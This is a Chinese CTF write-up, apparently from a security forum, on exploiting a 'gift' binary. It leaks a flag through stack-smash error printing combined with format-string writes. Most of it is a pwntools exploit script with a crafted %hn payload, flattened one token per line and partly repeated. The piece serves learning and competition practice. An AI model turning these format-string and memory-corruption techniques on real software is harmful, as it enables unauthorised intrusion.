wiki链接
通过free等函数的报错中的打印来泄露栈上的指针指向的内容,比如:
这是正常情况下的报错打印。‘./gift’这串字符是放在哪里的呢?
我们只要修改箭头处栈上的指针为存放字符串的指针,就能利用报错打印想要的字符串了如flag
2.23-11.3
虽然没开canary,但是和开了差不多
结合gdb:
能看出红色箭头处可以泄露出这个保存着flag的堆的指针
这里能泄露栈地址,然后后面接一个格式化字符串漏洞
栈题做多了总想ret2,这题其实如果没有exit有一个很不错的利用:我们做堆题的时候大抵都做过改free_hook的题,将free(ptr)改成system('/bin/sh')。这题其实如果是return 0而不是exit(0)的话,可以考虑在第一次fmt的时候,改rbp+8的返回地址的低四位,使得ret2start,同时泄露libc。然后就可以在第二次的fmt的时候,将栈上布置好free_hook,free_hook+2,free_hook+4,再fmt就可改free_hook为puts达到puts(ptr)的目的
但是出题人很机智的规避了这个做法,应该是想到了同样的利用思路,%%%
想不出思路就去ctfwiki找灵感,找到了之前瞥见过一眼的stack smash。那么利用思路就很明显了,通过fmt打free_hook一样的布局方式,修改文件名称处的指针为泄露出来的堆指针。同时fmt修改堆的pre_size为0(或者其它能报错的大小,修改成0不用用到%c)达到报错打印的目的
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
r
=
process(
'./gift'
)
libc
=
ELF(
'./libc-2.23.so'
)
elf
=
ELF(
'./gift'
)
r
=
remote(
'node4.buuoj.cn'
,
28706
)
def
z():
gdb.attach(r)
if
__name__
=
=
'__main__'
:
print
(
'test1:'
+
hex
(elf.got[
'free'
]))
print
(
'test2:'
+
hex
(elf.got[
'puts'
]))
r.sendafter(
"What's your name?\n"
,'nameless')
r.recvuntil(
'nameless'
)
gift
=
u64(r.recv(
6
).ljust(
8
,
'\x00'
))
log.success(
'gift:'
+
hex
(gift))
r.sendafter(
"Do you want it?\n"
,
'Yes\n'
)
r.recvuntil(
"Here is your gift:"
)
heap
=
int
(r.recvuntil(
'\n'
,drop
=
True
),
16
)
+
8
s1
=
heap
+
0x1a0
s2
=
s1
+
2
s3
=
s1
+
4
log.success(
'heap:'
+
hex
(heap))
a
=
gift>>
32
&
0xffff
b
=
gift>>
16
&
0xffff
c
=
gift &
0xffff
log.success(
'a:'
+
hex
(a))
log.success(
'b:'
+
hex
(b))
log.success(
'c:'
+
hex
(c))
pd
=
"%22$hhn%{}c%23$hn%{}c%24$hn%{}c%25$hn"
.
format
(a,b
-
a,c
-
b)
print
(
'len'
+
str
(
len
(pd)))
pd
=
pd.ljust(
0x50
,
'\x00'
)
+
p64(gift
-
8
)
+
p64(s3)
+
p64(s2)
+
p64(s1)
r.sendafter(
"Now,to find your flag in the gift!"
,pd)
r.interactive()
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-6-4 14:15
被Nameless_a编辑
,原因: